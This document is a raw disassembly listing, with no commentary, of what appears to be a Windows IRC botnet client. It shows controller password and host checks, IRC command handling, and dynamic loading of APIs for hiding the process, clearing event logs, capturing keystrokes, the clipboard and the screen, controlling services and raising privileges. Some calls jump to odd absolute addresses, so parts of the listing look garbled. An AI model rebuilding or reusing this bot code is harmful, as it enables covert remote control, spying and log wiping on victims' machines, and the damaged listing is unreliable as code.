		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 2670EA1h
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEC4[eax]
		nop
		call	near ptr 2690812h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEC4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCB0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296BC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429694

loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h

loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------

loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax

loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429670
		jmp	short loc_409689
; ---------------------------------------------------------------------------

loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429644

loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DB0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429628
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429604
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_4295E0
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295BC
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429598
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h

loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 2670EA1h

loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429570
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------

loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42954C

loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx

loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx

loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA28 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE2C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429548 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294C8
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160

loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429474
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998

loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429454
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429434
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE24, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		nop
		call	near ptr 2670EA1h

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE34, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAEDC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CAFD4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CAE7C, eax
		jz	short loc_409C10
		cmp	dword_4CAF94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF78, ebx
		jz	short loc_409C10
		cmp	dword_4CAE88, ebx
		jz	short loc_409C10
		cmp	dword_4CAE64, ebx
		jz	short loc_409C10
		cmp	dword_4CAEDC, ebx
		jz	short loc_409C10
		cmp	dword_4CAFD4, ebx
		jz	short loc_409C10
		cmp	dword_4CB030, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A

loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB034, 1

loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFAC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------

loc_409C32:				; CODE XREF: sub_409B12+1Dj
		nop
		call	near ptr 2680835h
		mov	dword_4CB038, eax
		mov	dword_4CB034, 1

loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		cmp	dword_4CAFD0, ebx
		mov	dword_4CAEB4, eax
		jz	short loc_409D00
		cmp	dword_4CAF80, ebx
		jz	short loc_409D00
		cmp	dword_4CAF14, ebx
		jz	short loc_409D00
		cmp	dword_4CB024, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CAF64, ebx
		jz	short loc_409D00
		cmp	dword_4CAFC8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A

loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB03C, 1

loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE48, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF40, ebx
		mov	dword_4CAEF8, eax
		jz	short loc_409D67
		cmp	dword_4CAE48, ebx
		jz	short loc_409D67
		cmp	dword_4CAF10, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------

loc_409D5C:				; CODE XREF: sub_409B12+144j
		call	near ptr 2680835h
		nop
		mov	dword_4CB040, eax

loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB03C, 1

loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF28, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAED8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAFE4, ebx
		mov	dword_4CAF04, eax
		jz	short loc_409E1A
		cmp	dword_4CAF28, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF98, ebx
		jz	short loc_409E1A
		cmp	dword_4CAE74, ebx
		jz	short loc_409E1A
		cmp	dword_4CAED8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF50, ebx
		jnz	short loc_409E24

loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB044, 1

loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF30, eax
		call	esi
		cmp	dword_4CAF58, ebx
		mov	dword_4CAFE0, eax
		jz	short loc_409E5F
		cmp	dword_4CAF30, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69

loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB044, 1

loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE50, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE58, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEBC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF34, eax
		call	esi
		cmp	dword_4CAF68, ebx
		mov	dword_4CAE5C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE50, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE58, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEBC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEC0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE6C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF34, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17

loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB044, 1

loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE54, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------

loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		call	near ptr 2680835h
		nop
		mov	dword_4CB048, eax

loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB044, 1

loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAF7C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE44, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE30, eax
		call	esi
		cmp	dword_4CAF60, ebx
		mov	dword_4CAED0, eax
		jz	short loc_40A016
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A016
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A016
		cmp	dword_4CAE98, ebx
		jz	short loc_40A016
		cmp	dword_4CAE44, ebx
		jz	short loc_40A016
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE30, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------

loc_40A00B:				; CODE XREF: sub_409B12+438j
		nop
		call	near ptr 2680835h
		mov	dword_4CB050, eax

loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB04C, 1

loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAEE4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB018, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAE84, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB010, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CAFD8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		mov	dword_4CAF4C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAF9C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF54, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		cmp	dword_4CAEE4, ebx
		mov	dword_4CB00C, eax
		jz	loc_40A2E7
		cmp	dword_4CB018, ebx
		jz	loc_40A2E7
		cmp	dword_4CAE84, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF20, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF08, ebx
		jz	loc_40A2E7
		cmp	dword_4CAECC, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB010, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF1C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB000, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF74, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF70, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEA4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFC4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD8, ebx
